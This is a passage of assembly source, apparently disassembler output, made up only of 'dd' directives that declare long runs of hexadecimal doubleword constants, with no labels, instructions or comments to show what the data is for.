dd 83A3DE9Fh, 50437714h, 0A5B01879h, 0F5EBA960h, 27FF20DCh
dd 0E4D329E7h, 3442828h, 1D2D7CF0h, 5D0DB31Dh, 5ABFC960h
dd 7CD52248h, 3AD99381h, 0B901587Ch, 25CE4A7Dh, 80C22F49h
dd 0EEBA0485h, 4C8FE54h, 66E43CE2h, 8AC6D092h, 5D424708h
dd 4F1A4409h, 8C611607h, 0D85B306Ch, 0BAB527FDh, 4C20BCE5h
dd 8C324B2Dh, 0E9275730h, 91D3580Fh, 6E2560C1h, 2EF71064h
dd 35CC06E1h, 5E12E86Fh, 450BB0DEh, 0DCC0A0A1h, 125345Fh
dd 0C3D9F1EEh, 0FC25E40Ch, 9F3AFABFh, 0FC9CDB09h, 0DEDD2625h
dd 0F564EF8Ah, 5B1E132Fh, 3270FFDh, 8107201h, 10E91B08h
dd 6D5BA9E1h, 8B85E86Fh, 0AFD03Dh, 0DDF6B9B5h, 52C1ED80h
dd 7A8B23Ch, 6E2C0D2h, 78BEF2B2h, 0C0CFF7CBh, 4533FE5h
dd 7DE982B3h, 1BA2FBC8h, 7178998Bh, 4135BA05h, 0BC821907h
dd 0E2810097h, 0B8270F69h, 264C5225h, 3F751890h, 106CF202h
dd 494278E6h, 5F4FB270h, 0F53177D2h, 0CF822FE6h, 0DCC28576h
dd 46F40BB6h, 0A3020226h, 8666AD6Bh, 9417A3h, 0F70813B6h
dd 5E7C05Ah, 21585690h, 35988135h, 42BF64D8h, 6A684106h
dd 0D95AD77Eh, 0EABCE085h, 9EEB80B0h, 0B581B19Fh, 83C3E3E3h
dd 8A22FE28h, 36C0C11Eh, 72C77780h, 890BB968h, 261FE5Ch
dd 21629AF6h, 601752Dh, 2B3F010Dh, 0E984F6B8h, 5F8DA05Ch
dd 990BCB0h, 1511169h, 2A9A46C1h, 9D330160h, 0EDDCF562h
dd 2C06E2h, 0A30140B9h, 18C22A4Eh, 56A0D733h, 8D2EF9EAh
dd 7558212Dh, 64E0DB92h, 30BB951h, 37065Bh, 5376FAD8h
dd 22048059h, 8C47932Ch, 0EF417E02h, 0B097543h, 0A776E57Fh
dd 2031F6C6h, 6C02E385h, 25600AAFh, 0AE9406ECh, 1A8566Fh
dd 8E0000D3h, 0F77FAB48h, 1DC4D548h, 0B7C1F8E5h, 760AE930h
dd 7B0EB72Eh, 16AADD30h, 0B3840BBh, 0EB8367F1h, 133D7526h
dd 2DBDE0B7h, 4CF0F248h, 5287D36h, 0E4E91207h, 2E2BDE2h
dd 1B6163C9h, 0DED1FD31h, 64B071AFh, 8B3B8CF6h, 17E0731Eh
dd 1641A4CDh, 0F9CDC081h, 3001AD77h, 9A00B02Ah, 0EB897CD2h
dd 0B1C711E9h, 31C802E4h, 0CF61354Ch, 5D590213h, 68F01D54h
dd 0BA189D33h, 70604EE9h, 44DABE52h, 9CD895D0h, 0B451F709h
dd 42E40028h, 1629542Dh, 40BCE9C6h, 0CE814E9Ch, 0F03E4964h
dd 0C4F81340h, 0D911DCBFh, 0C217A760h, 5AA223DDh, 1017E850h
dd 0A14F8E51h, 7586E1C1h, 0D9ED3E03h, 0AB6AFC85h, 8DDF2BB2h
dd 7E0A6EBDh, 0B8377581h, 0D38BE72Ah, 602B1E09h, 12515304h
dd 0A8C01BB1h, 13B02CF0h
dd 0F604E000h, 0C58334D0h, 0C3842C08h, 0C9018C23h, 0FA572EC3h
dd 0FD454B41h, 0BACF91Fh, 0DAB1D21Ch, 0A8623A45h, 9CEB938h
dd 30E31D28h, 5772848h, 0AD54EC5Eh, 0FB35C5BAh, 0A3EACA40h
dd 0DF31E584h, 0BBE2A522h, 6E54BFE1h, 97302CC8h, 68ADDB80h
dd 96B47319h, 232EF360h, 0B82D5E78h, 7E0289F2h, 1A7D275Eh
dd 3F05F7EAh, 47A74416h, 8FCABE6Ah, 0ABB1337Ch, 2309360Bh
dd 0F2801B3h, 0ABE2E98Fh, 0E121604Eh, 165F2D18h, 81394F59h
dd 0E9AAD576h, 0E23EB92Ah, 39A296C7h, 95F59C4h, 0E9C85066h
dd 0F1526E60h, 20E945E4h, 0F09F587Bh, 0B98D279Eh, 5851FFF6h
dd 96EF34F4h, 1BF4805Ch, 0F1295A79h, 182D42B8h, 1039DD93h
dd 0D4C5F4D9h, 0B72C46BFh, 0B68B8BFCh, 0B8675569h, 0A52DA62Ah
dd 6C98FD69h, 7C82FB03h, 0CCA836Ah, 95EA22DFh, 0D97DF94Ah
dd 455FCBC5h, 0E581A570h, 3B819CE9h, 78AA82D2h, 0C2CB9E34h
dd 1B08CCB9h, 0BE88511Eh, 9E842668h, 0F9888366h, 0CFA2D1F6h
dd 0FB2B5AD7h, 0DB68FE2Eh, 73988402h, 2AA72951h, 0D5BD6C00h
dd 0A07B583Ch, 0C12F65D4h, 0A1614A17h, 1C05E809h, 0C55A14CEh
dd 47FB9F70h, 3F71BBF3h, 2EE80173h, 7B517B3Eh, 0EC9351F1h
dd 9362AB19h, 80776825h, 68CF09E6h, 6AB17920h, 0F4132F2Dh
dd 4B8FA7ADh, 0BE623BA4h, 0DE01554Bh, 28920743h, 305B62F9h
dd 8EA68382h, 0B7CB140Fh, 0DD71FAF2h, 0AC022A9Ah, 5C045A63h
dd 681CA0ABh, 333F6631h, 970314BEh, 164D0588h, 0F0258228h
dd 0E96CE997h, 7A65B061h, 0DB5C9538h, 4BC824Eh, 0C0987144h
dd 2B276B18h, 0ACF0E0Ch, 0D1011A62h, 997BD9Dh, 4BFA852h
dd 26200BB7h, 16C715B0h, 0A11C31FDh, 0B7DFC8B1h, 0E66448B5h
dd 9A751734h, 0B43B017Eh, 6F50C558h, 0DD01CDA0h, 0E3FE9606h
dd 7A34BC5h, 3A20AF90h, 20962976h, 1EC3C2h, 0B148A8B9h
dd 3EB55D5Ch, 0DE9FBF08h, 0C8419AC9h, 25CD2D34h, 14194460h
dd 9E372849h, 2AC3F84Bh, 0C6C5ED59h, 8DA2681Ah, 0E4085B7Eh
dd 0D28BF117h, 16E1D4FDh, 8BB7F04Dh, 4F388A53h, 0D929DBD2h
dd 7DDC09E4h, 7EAD17D1h, 3B5CD285h, 0E69AE9E1h, 4ADF1434h
dd 0EDA1B15Bh, 2547780Ch, 0E4B5795Eh, 92544533h, 4278E2ABh
dd 1FBF5831h, 4C527031h, 0A4444DE8h, 0C9810749h, 7D79059Ah
dd 5AC36015h, 86B49113h, 56A718B1h, 5D5432h, 9B432B28h
dd 0D5BB051Ah, 0ED77AE08h, 10370BDEh, 42F0097Ch, 503670B9h
dd 1FC4CE51h, 0CD1FDB1Bh, 3F1E8393h, 47A72B1h, 4618187h
dd 0F1AB5E5Fh, 8887D516h, 3756C1Ch, 2154B6BEh, 0E241FABDh
dd 395C7882h, 9A023121h, 0BA5B04BBh, 7226629h, 5B9B0610h
dd 0B84E1C04h, 12C3D618h, 1246782Ch, 8F0FAA10h, 0ACD32047h
dd 0B72D5B4Dh, 0F35BF94Bh, 0DCE84B92h, 0D78CAF4Ah, 0D4E92D5Eh
dd 0BBD7490Fh, 0BA5C9D32h, 119C0027h, 12776C4Dh, 0D05C49E9h
dd 7FBF6E6h, 0FC0C9E60h, 0A0C9F0E5h, 255CC6FDh, 0E07F30AFh
dd 0A205E8B6h, 0E9B2A20Ah, 9709F75Eh, 92D94D5h, 7B116866h
dd 0F4E94E68h, 0BB09AFB2h, 82AE79EBh, 17A278Bh, 6B28A368h
dd 8480C2D9h, 79B002C4h, 4596EA81h, 0DE2077A5h, 864FFD40h
dd 39976817h, 36C64660h, 0B11A5A70h, 6BB5E98Ah, 0E036A81h
dd 82300AEDh, 10A04C21h, 10BEA4Ah, 5A26207Dh, 0BAD58745h
dd 63902DABh, 0C208B9E5h, 82F62FA0h, 449DC501h, 1CF478BEh
dd 0CAD3C642h, 0CD202F6Fh, 84DCB557h, 8CE5993Ch, 0E87FD641h
dd 0C921A5FBh, 16A491CDh, 9DF64BEFh, 753B400h, 26A7B863h
dd 97B3E59h, 0F37572A9h, 6594426Eh, 0F4C75E04h, 0D76B4582h
dd 0F42D3D71h, 37DC2748h, 923B0950h, 538A06Ch, 82229CACh
dd 0EF6102F3h, 53A280D5h, 1306AD68h, 135B6E2Dh, 99C40841h
dd 1C31B426h, 0F46A150Eh, 3F0DBB19h, 0D25A5DF4h, 0BE90700h
dd 0B886C0DCh, 1D2705A3h, 4800BF98h, 5258C335h, 12712D01h
dd 0B1AAE77h, 65D788E8h, 0E35793DEh, 20E983EDh, 0EAE902B0h
dd 66D171E6h, 0E230DBE1h, 0E5C6D209h, 0D2F3AC6Bh, 817A9DF5h
dd 88406068h, 26E70882h, 92A73B86h, 0D4EBCCE9h, 0DC64DFB1h
dd 0AB13CAA6h, 761C4CAh, 3BC9D9E9h, 60894BE9h, 0C5804E60h
dd 0B1ACFE5Eh, 0F4BB41Eh, 0EC6052F4h, 58E52869h, 0E9EA2005h
dd 8737D6F1h, 12FF6785h, 0B72EBB7Ah, 8B78FD5Eh, 0B946A0C4h
dd 71435AE2h, 71192568h, 0DD2A21E6h, 32ECF055h, 0F5C68997h
dd 0DBF63964h, 16ECB94Bh, 716E5AC1h, 5AF22A11h, 5E4DBF00h
dd 0FB891AC5h, 0A64E3CF8h, 0A2C121EEh, 0C18C7850h, 5D19FA6Ch
dd 2129096Eh, 0D746FC84h, 6D6560E3h, 6496907Dh, 9DF5D82Fh
dd 7060660Bh, 975EB815h, 0A6AE46C4h, 0BBE90B0Dh, 46F111ACh
dd 0B7041578h, 0FFE73018h, 2D8038E0h, 545977CCh, 0C03BB541h
dd 0AFAD046Ah, 45A09A0h, 17BA122Ch, 1F8ABACAh, 17C4BFC4h
dd 0C2F25ADh, 0C1FE8602h, 0C1964275h, 132A85A5h, 0A6DFAAA6h
dd 0EE5BCE5Ch, 9345F971h, 9ED3392h, 66F73880h, 7768127Ah
dd 512DEF03h, 18627820h, 3E3E4F25h, 340D6EF7h, 1CFD011Ah
dd 821C0806h, 4961F114h, 1B2F9672h, 0F09CFD76h, 12664D24h
dd 0E74AC687h, 0DDDFF722h, 0B1F04B50h, 1984432Eh, 40BCF01h
dd 18846F3Dh, 0AFB663CCh, 0DED59B01h, 9E8B063Ah, 5860295Fh
dd 0F9252233h, 1626143Dh, 0EB49CD87h, 9D08D3C6h, 0E7066998h
dd 5AD1900h, 63792808h, 2509EE2Dh, 0F5F04E68h, 12E50783h
dd 0E82CAF11h, 54C90B05h, 7B765E28h, 2D0008A0h, 614C136Ah
dd 1257C829h, 0BB4D0AE9h, 0C2BFC025h, 0B5E4D9EDh, 4F2FF17Ah
dd 0CE09D5BFh, 5AD326B8h, 92945F97h, 0A57EE912h, 1B07D825h
dd 73D46ABCh, 2A836FC0h, 0FC4B5B87h, 0EF6D1021h, 46A9680Ah
dd 0BD7592CDh, 31317BADh, 2DC51714h, 52D4236Fh, 0EFAB28CAh
dd 0D02D4C13h, 0F4B30B9Dh, 71F45238h, 74D909C7h, 9612CB35h
dd 0FE2C60F5h, 6810A890h, 431D372h, 0A8F9866h, 3A1CAE50h
dd 9C0A75CAh, 0E9064118h, 2E606072h, 0FC89CCBEh, 0B05AEB7Ah
dd 54221BF5h, 41FAD4Bh, 4FE157EDh, 0ADE475C1h, 0C2A0ED05h
dd 0A1722268h, 50DAE949h, 48D3A605h, 48D20E2h, 0E9D4F6F1h
dd 28CDEC38h, 0C493E128h, 9873B61Eh, 0F069129Ah, 5C59BF05h
dd 384835F2h, 0FED95AA3h, 0F2805D26h, 96D7FA2Ch, 0F1800458h
dd 0A0B6B81Dh, 9862B050h, 1D441D8h, 3A617BB0h, 0E84F6DFDh
dd 68510250h, 7FE23E02h, 0EA608251h, 134A5B94h, 10CA297Fh
dd 5916084Dh, 104FB289h, 9B4CC497h, 0FD4A464Ch, 2EFD76A6h
dd 0FCCEB2A5h, 96568C60h, 5002512Eh, 22466368h, 0C6AE607Fh
dd 927EB5B0h, 735BF15Bh, 5546D06Eh, 0A01322BDh, 0EE161DB8h
dd 8B689642h, 0FA72662Ch, 0B70B4BBCh, 24923E00h, 0B79D78C9h
dd 33A8E6E5h, 1C4BFA80h, 0F553155Eh, 0BDEA04ABh, 35F144Bh
dd 4F3C2042h, 60D1E140h, 5D5B1472h, 0A8C38187h, 0E575B62Dh
dd 28C71FBh, 8EC32908h, 0A2FF5A9Ah, 0F22F856h, 0F84A133Fh
dd 0B54B4C0Bh, 20565E93h, 5C694224h, 0B101051Bh, 5289D4B2h
dd 0C9AEC55Fh, 0FF313AC4h, 0A9F35277h, 0C36EA175h, 5FA8E17Ch
dd 54982C53h, 35E4504h, 1E880108h, 2D8920E9h, 9953563Bh
dd 4540D099h, 1C71AA28h, 0A689EBE5h, 10E3029Fh, 13432060h
dd 7E2218D9h, 0A9BA43C2h, 7862BEh, 3E2F109Bh, 0E7C12616h
dd 0BA863992h, 0A4729A28h, 572D09B7h, 832093C7h, 2567D495h
dd 0E92A02DDh, 2F6654CAh
dd 0DA129158h, 0F2EE3468h, 0EB616AFh, 0FBF913EFh, 0E55B9D8Eh
dd 0C5B03EF4h, 939D4E57h, 61D96332h, 0E2A0ED51h, 7988A274h
dd 0B2923D36h, 0EE22208Bh, 42123057h, 0A0B94429h, 0D43C96DEh
dd 5F14046Ah, 10E8A651h, 0BF05A1A2h, 825483FCh, 0EADDEE88h
dd 0FD81D73Fh, 216A8D37h, 194B3FC5h, 584BE1C3h, 8BF1DC6Bh
dd 94BA29EDh, 7E911037h, 1A19B801h, 0D80D33C7h, 641CA17Ah
dd 0D56FFF2Dh, 6C9D77BEh, 0BE989613h, 47F10200h, 7E402BBAh
dd 0EA295D02h, 0D503D3E9h, 4AF09C3Ah, 26D94F95h, 84BB0B86h
dd 958ACEF7h, 545C22ECh, 0C2B5259Bh, 7D4D1AEBh, 0E09F6416h
dd 0B905CF01h, 0AE5744F5h, 0FEA457F8h, 5A30C599h, 6FCA2F4Dh
dd 4A1CABF0h, 0E9C47769h, 58BFA3A1h, 453656ADh, 0C1C2230h
dd 0E01617E4h, 0E65BBD5Eh, 0B0B01E08h, 26CABEDAh, 0F8394C2Dh
dd 0F6810329h, 3C04299Bh, 7F990C05h, 9C010944h, 395B7413h
dd 422F1882h, 0C0D41957h, 0D5B0B773h, 26181629h, 85D95DE9h
dd 0BF52C588h, 0E720BC89h, 32846190h, 0C9FD7C2Dh, 2AA7E9FEh
dd 0CBAE7FD5h, 0F2007600h, 383F41B4h, 9ADD64E9h, 19A027BAh
dd 0C98A34CCh, 0A53065FFh, 0B16C1657h, 1DB48837h, 3C138C24h
dd 298DAD21h, 0FDC7F5C2h, 0E913E0A2h, 0F479E45h, 4B8FE830h
dd 5F7BB2F1h, 0F6973BC4h, 68EB6184h, 0E969E01Ah, 5592D12Dh
dd 37019594h, 68BD0EA7h, 477816D8h, 86705CC9h, 0FE20B502h
dd 0C1D5F6CDh, 88031012h, 0EE9B5ABBh, 17588BD2h, 5801D497h
dd 0C2B5CBE9h, 7FC7F50Bh, 1E877B0Ch, 79497559h, 0E15E2CCEh
dd 0D3CD9DDFh, 0BD8E4322h, 31D02A16h, 0DF01ED81h, 0E926D302h
dd 2089F532h, 2FD405ADh, 88598EA8h, 1AAD4A5Bh, 193966C4h
dd 0D868EF9Ah, 9E755A27h, 7237984Dh, 4F28F70Ah, 4F0FAA5Eh
dd 0A42F8506h, 1780B2AAh, 0D88C680Ch, 42015538h, 97A2C0E0h
dd 0C648397Fh, 2F1DB92Fh, 0DD4BE2A4h, 0CC58DE51h, 2A5181D8h
dd 0B81C79BDh, 46122270h, 6B04BF4Fh, 100EB33h, 0D2B951CBh
dd 0FD53033Bh, 4B271327h, 0B5FACC29h, 0E903610Ah, 11342FAFh
dd 0F9226682h, 35B828DDh, 0FB5A628Fh, 0C192390Ch, 48683956h
dd 0A5C0E9CAh, 0A0CCEFAh, 9D0DBE32h, 0B0567F1Bh, 3E154342h
dd 10004837h, 2D2B6F4Ch, 5125D680h, 275CD613h, 0BA00CCFEh
dd 0BD44E50Fh, 0D665040Ah, 0EADD2993h, 95C926B2h, 0BD1D15F8h
dd 73D32832h, 45216EA1h, 4E917AF8h, 9E1E82Bh, 0F91CE768h
dd 1EAE8286h, 815D0364h, 0BA96827h, 95B30C05h, 17B4EB65h
dd 90B75361h, 4E624B20h, 0A1A1F857h, 17833DA0h, 0D844FEB9h
dd 0D8C0AADCh, 4A3709B4h, 16B1AC25h, 103075C9h, 96A59BAh
dd 0D131D92Dh, 0A6852883h, 0DDB3FF84h, 0DF42EF4Bh, 0DEAD3EE9h
dd 7858BB6h, 2679B477h, 0AF089AE9h, 8AB61EFDh, 62E259E0h
dd 0BB5EA5E9h, 6DD8CA81h, 0F16E65DDh, 1EA227E5h, 3E967107h
dd 39937E0Bh, 0FED6B49Ch, 0CCB682DEh, 0E6759F68h, 5E87F08Ch
dd 26C4CC5Eh, 0C47B7841h, 55D20F7h, 822E7E28h, 5A258ADBh
dd 146827CEh, 0E86043B1h, 0BA964BB8h, 30C1B439h, 0F4D0B1Dh
dd 832CD8E0h, 8BED0CAh, 0B9007C19h, 7B071591h, 6ADAA031h
dd 5A64B5C4h, 2B4B3EA0h, 77222F8Ah, 51C04BA2h, 28276857h
dd 4075D027h, 2C071979h, 2DD71E2h, 570C1DC2h, 6C4F61C0h
dd 2141FF13h, 4A269BF0h, 0A79DE897h, 5595AFC2h, 0B2FEFB1Eh
dd 0E999065Ah, 12CA1864h, 0AE298C44h, 27E9CAF4h, 810A146h
dd 311F9468h, 0D4C2270h, 0B5594686h, 448FBEC8h, 4279D425h
dd 60070B13h, 3E29874Eh, 0E28249C1h, 39B431C8h, 3D5AAF5Fh
dd 187358C7h, 274D21FFh, 0E02A0A63h, 4C738EA8h, 840BF9B8h
dd 46E1821h, 0E912D607h, 2F985B6Ch, 86A92DE9h, 8D0864E5h
dd 0B67D2571h, 22681430h, 54CBCF65h, 2F711CF5h, 8A5941E9h
dd 5418F2BCh, 0AEFF67E6h, 98192FABh, 0EE6902D7h, 3D227D5Bh
dd 812016C9h, 26130DF1h, 26F7C65h, 553E60E0h, 0A2913070h
dd 0A15CC11Fh, 0DBFDC657h, 9605DD5Ch, 0EA111316h, 0F22E28B1h
dd 4C12D07Ch, 0ABC24EB2h, 56D85C58h, 8C2BF795h, 97A9C4FDh
dd 970B67C1h, 89E143C6h, 0E90EA51Ah, 251C1280h, 2C68C55Fh
dd 4E1100Ah, 41F3BF57h, 0FD0911C1h, 0B7BBFCF4h, 680160BAh
dd 0C38A48C1h, 0D06E8A0h, 5E589416h, 0A019D409h, 4D202DD1h
dd 84614AA0h, 25071F38h, 5D847F5Eh, 44BA6B68h, 8DD0D531h
dd 0A55D2571h, 0C6E55707h, 8BE6D9A5h, 82E17CE9h, 3CBE2FBAh
dd 5A4A5907h, 0A750BF9Dh, 7D553CE1h, 0D9F7282Dh, 36303E85h
dd 43810E1Eh, 5A1453D0h, 70160C07h, 0E7C032E2h, 505B6982h
dd 2576CD21h, 41581227h, 0DC4C4297h, 0A7D1C9F0h, 5C9C934Fh
dd 582C0A5Ch, 10BEC828h, 2FF05BABh, 1D872F10h, 0F1810AFCh
dd 5C136986h, 5329D0DBh, 0F76B136Eh, 0C7E409D1h, 3CF5CA26h
dd 0CE668912h, 26D651Eh, 495368A4h, 0BC3A5408h, 0F6E9F01Dh
dd 0B87FE191h, 8EFEB4E3h, 49FB5EE5h, 0BD802DB6h, 51485310h
dd 277B5648h, 2A3ED38Ah, 5B9AA36Fh, 93A98B18h, 0E98903BEh
dd 685AEDBAh, 9010D4A8h, 0C5800975h, 678EFF44h, 4A33D40Bh
dd 8A9ECF0h, 4749E55Fh, 0FE7C25DCh, 4E2ACCA1h, 61C5F7A3h
dd 0B96C84D9h, 41FA9259h, 56FC288h, 0EA092049h, 3A248002h
dd 40D2F716h, 3926381Dh, 51133FE9h, 85F6EDA6h, 4DB730Ah
dd 56C9AE4Bh, 30FD620h, 0E939DB6Dh, 0AC4AE5FDh, 0A70137FDh
dd 1E77BE3h, 452CDAh, 3E9073C9h, 2E31302Dh, 4C7F11h, 6B3A2A4Fh
dd 869539E9h, 1CA85A09h, 5268D387h, 5B5B337h, 17B26318h
dd 705C9EC2h, 656677A4h, 0AE01BE80h, 0E1DA72C2h, 0E13BC3B1h
dd 33E16AF5h, 2830A06Ah, 13BAD557h, 5FBF1EDh, 0B838687Eh
dd 0CEB2C0E0h, 16D08850h, 416EB8E9h, 0C012BFD2h, 0E8E47A10h
dd 3A6C3DCDh, 0BAD46A8h, 0E0EB35B0h, 667C00E2h, 3C45C10Ch
dd 0AD68125Ch, 0D6A0E82Dh, 0B710F706h, 852507C8h, 0A50EA053h
dd 415C9211h, 0E8C31BE2h, 6F8071D1h, 2E799DCEh, 449502EEh
dd 6518F666h, 9300536Ah, 8090B450h, 0EE785EF4h, 0DCF69F04h
dd 88C93D80h, 505873E6h, 27E9A3F3h, 0D571AF8Bh, 104AC93Ah
dd 0BA026AEDh, 1F5F401Bh, 23453140h, 57207900h, 0F7685253h
dd 0E4A99015h, 202DF5EBh, 5A351210h, 84A991FCh, 0CFB7E9BDh
dd 403C34B9h, 0FC5A9E58h, 100394BBh, 8012E2C5h, 83230ACDh
dd 39DF2DB1h, 0DACEEF63h, 0A63425D6h, 15C38AA0h, 23DFF11Ch
dd 1D9737BDh, 0B2187DD0h, 27AB06Dh, 127377D0h, 80020C8Bh
dd 77E94476h, 34F52486h, 0E21D1727h, 73E9128Fh, 0C43073E5h
dd 45C60A08h, 3083BDDh, 377E65EFh, 4C006CC2h, 2D2FD033h
dd 2AFE7C29h, 28340C68h, 2C001C29h, 6FCAE95Fh, 3761756Fh
dd 42545736h, 89DCB9BFh, 5D85BB01h, 2E9282Bh, 0F368436Ah
dd 3BE344C0h, 3E7CA1D9h, 0E03F188Dh, 774FA67Ah, 5E0C6730h
dd 735A490Dh, 29A33717h, 0ACB03AA5h, 0DD8ACF4Eh, 2D1300F7h
dd 2944529Eh, 72030BEh, 6851F29Ch, 8A3E07EDh, 0F7E912E3h
dd 22FA9953h, 0A0DF1F02h, 3048B958h, 1F557657h, 0C967DBBDh
dd 64DFEB4Bh, 156E3548h, 0A2B3BF58h, 4BC69E40h, 52002282h
dd 3990AE6Ch, 78F3075Fh, 5A5F9350h, 0C4B5E87Dh, 45FAFA58h
dd 0CD5E11DCh, 0A81C967Ch, 0B41FC8EEh, 7F3D676Bh, 72E0EA0Eh
dd 88511F22h, 0D14EA5B0h, 61642EC2h, 68CC02D0h, 55D1B805h
dd 0FA2BD16Dh
dd 4FC01352h, 0C24BDE87h, 0B8A0E906h, 5FFA9648h, 0BFCFCC95h
dd 0A21A20C5h, 2FA9FC9Dh, 0AB9B1957h, 48CA6Eh, 34685351h
dd 0BA73E137h, 0B74B4AF3h, 62F84EA1h, 2348FC0Eh, 9D0301D6h
dd 2B6C3D99h, 9C121A4h, 23DD1644h, 88BA875h, 0D9E05F16h
dd 582E649Bh, 2F59C788h, 0A9927429h, 9820A5F2h, 0FE580342h
dd 1CC680CEh, 241F1ED9h, 0E0A1EB44h, 5F4428CAh, 0EB036CABh
dd 7F6584Dh, 1AD93F10h, 44A845A5h, 0A6F03017h, 61FA5BC7h
dd 3541708h, 520CA80Dh, 62D3D02h, 0E070E093h, 0FD4F08EDh
dd 0B51083E3h, 1368123Bh, 798745FEh, 368BAE4Ch, 0BB5B9D59h
dd 59D22E67h, 8BBE5954h, 9C3326F5h, 43397AB8h, 0C16A0E95h
dd 580FBC01h, 0BE39C53Ah, 1278DAC0h, 0CB7058C7h, 1B3B9802h
dd 0DBD94E50h, 0D9398A3Ch, 41029D2Eh, 5532A317h, 0C07F90C2h
dd 90CE31BAh, 2A7241B6h, 38C3C281h, 7179A826h, 32A254Dh
dd 0D412D2D1h, 45D5449h, 1BC10762h, 1F44E04h, 0CE73B58Bh
dd 0E2E95C40h, 52A5942Ah, 3C3D8Ah, 253727F1h, 7649B6E9h
dd 0FAEF71CBh, 0E533687Dh, 76227B6Fh, 0ABF5057Eh, 0AE3A6872h
dd 76016116h, 928AE248h, 577C852Fh, 0F4BEE15Ah, 7EB07C4Ch
dd 0E90DB761h, 0DC6B7A86h, 85F8F049h, 432725Bh, 0BDF9A09Fh
dd 60CF3AFDh, 4B737E57h, 60BD104Ah, 2E5DCE76h, 23174BFh
dd 72D37C94h, 0FDF6C2F5h, 0E2BC6F1Ch, 0E98BFA48h, 28EF83Dh
dd 0E8547FBAh, 9BC22151h, 3A5D9A61h, 680BBDCEh, 3DE6D2Ch
dd 9D5AE958h, 65B7E170h, 0AE5F17B0h, 66AF758Dh, 0D9E9E771h
dd 52820AD1h, 3E254F28h, 0A1AE93Dh, 8DD2229Ah, 0F57CC101h
dd 3D216A63h, 108CE22Bh, 94FBB67h, 0B15F0208h, 9774A91Ch
dd 7D270B35h, 69F06CC0h, 5D5A43B0h, 805F3EE7h, 0AC2A42B1h
dd 300C4C5Ch, 8AE90D3Eh, 979BAB2h, 5E870550h, 318B5FEh
dd 39F28107h, 0FE247C11h, 599410EFh, 0D4EA966Ah, 0C3798399h
dd 0F6ED0781h, 76DE8860h, 254AD607h, 0F2AB32E5h, 75895BDh
dd 4E9C0D0Fh, 0F935805Dh, 0BDD58EE9h, 7D899FE1h, 65207B5Eh
dd 55435C82h, 96842D38h, 0EEDA29FAh, 53F29860h, 6ED525BBh
dd 0B5FACAF0h, 0C81296DCh, 0DC46A3F5h, 26DE1426h, 0F304C64Dh
dd 810D6A22h, 6229C9h, 2740DDBAh, 4158324Dh, 240DAE3h
dd 65303330h, 0CBE9171Bh, 0A5D8B9BBh, 96A69D79h, 28518108h
dd 717F0AC4h, 0C0E35F98h, 3E45CDBFh, 0FD217A16h, 9100C665h
dd 0B7E7BEB8h, 0ECEA4B01h, 4E07B6E4h, 8F69EA57h, 0F33075E2h
dd 9B5DFE9h, 479E550Dh, 0B254E2E1h, 98011882h, 6915603Dh
dd 0F3487353h, 29562C2Fh, 131408BDh, 1FC7283Fh, 0A3E65A4Fh
dd 18E8F826h, 85ED671Dh, 0F4BB5028h, 4DD5E04Bh, 7ED7F5EAh
dd 52A0ACECh, 5D4A41E9h, 192BBF9h, 8C2C9A56h, 0C3A86A27h
dd 25480841h, 0F9124EBBh, 3896855Dh, 0A7E47AD9h, 0EB51C00Bh
dd 139709D7h, 3E2A81A0h, 556F6517h, 250D750Ch, 5C20FC3h
dd 9E646945h, 7937E341h, 0A075482Fh, 52095581h, 354CC010h
dd 497F2503h, 2627E910h, 0B413284Ch, 0CD4F6063h, 6C486E09h
dd 27E7013Eh, 0D32171F2h, 7B672C8Ah, 54566CFAh, 32C33B12h
dd 9C6BC9E8h, 0CCB5C2DEh, 0EACE57EFh, 0C6256C05h, 8CA741AAh
dd 83446219h, 1A5934A6h, 4E982731h, 57E99BF4h, 5F0E0272h
dd 166C2A68h, 64299FBEh, 68035F4Ch, 0D871AE3h, 6CBF3AE3h
dd 0E5FE9F5h, 4A7B22E4h, 0EAD88C7Eh, 0CDC19060h, 58DE6A0Ch
dd 0C602ED4Fh, 21183D05h, 140169DDh, 973AD7FCh, 0D5A2A1E8h
dd 24B83AC0h, 954AE36Bh, 782F3F79h, 5E0C8159h, 58D41A2Eh
dd 2D5D6475h, 1BFC8538h, 6E9B0560h, 32477E09h, 535C82C4h
dd 8C6DF475h, 134419BBh, 83FD5CC5h, 0DF018706h, 6BC5016Eh
dd 0E9030E44h, 804F24AEh, 0D6BDEF79h, 4C700BA8h, 470B327Ah
dd 0FD17C54Ah, 7FD39D48h, 110FC024h, 3C09111Ch, 0F5478AF0h
dd 73504610h, 0C7DEBDDCh, 12E2B870h, 162341Ch, 5B57DA12h
dd 87BC3F4Eh, 22260841h, 4F25BF50h, 0FA4E354h, 78DC1E7Ch
dd 3011D034h, 685061D1h, 3C5E2370h, 192F44A8h, 2B54A641h
dd 0E9A1A6FCh, 9FC57EEBh, 547228FBh, 434960FEh, 7A4B1022h
dd 11620ADEh, 95CA4424h, 75728716h, 1840BEB5h, 0D156E1F1h
dd 3340B522h, 16773D6Bh, 0F2E9295Ah, 48012D81h, 0A7E07E3Bh
dd 0A807A305h, 5E7F658Bh, 34BFE6Fh, 517F0C09h, 9621FB4Bh
dd 0A04F0C81h, 2889FD78h, 1F164FF2h, 4886DAFFh, 8E46253Eh
dd 8DEE72A9h, 7C6FF50Dh, 0F6E64BFEh, 0EB83CB18h, 0BF04575Bh
dd 4A3D440Bh, 25E98AB0h, 9148360Dh, 61FE4FECh, 81047A94h
dd 0F8C3B9F6h, 920F9978h, 0B32D2881h, 20065E79h, 7D5CBFCAh
dd 4A293B54h, 0D9136A9h, 585BDA09h, 39E7D355h, 0E5F14EA7h
dd 0E2E15392h, 0E52EAD2Fh, 4873F2EAh, 972C201Bh, 0DA205FD8h
dd 0C3FE1C4Dh, 6D89A80h, 286AB460h, 4F6BD197h, 327ED586h
dd 75C83127h, 7B6989C5h, 6348028Fh, 0CC753551h, 69A41956h
dd 72EDC640h, 0D5291213h, 0FBE08C05h, 501762A2h, 3989405Bh
dd 0E96ACC62h, 6EC0DB5Eh, 0AE45ED80h, 0D4B2257Fh, 26C06550h
dd 643C75BEh, 0E17903Dh, 56BA1858h, 5CAAE6C1h, 41272C09h
dd 3A82FCD7h, 687B3B05h, 68FF3189h, 0E998570Ah, 0E4083901h
dd 8A3EE961h, 6895317Fh, 20AD7B30h, 8297BD4Fh, 512F22E9h
dd 76253C83h, 0DDF76F82h, 23F41AD8h, 4D53E49h, 75D512AFh
dd 0B46E0E1h, 4FAC74BCh, 0CF0BC2Eh, 0ACE2CE73h, 355E00F0h
dd 12EF2F02h, 584EC129h, 3B429A1Dh, 5F45F213h, 5EA5C4F4h
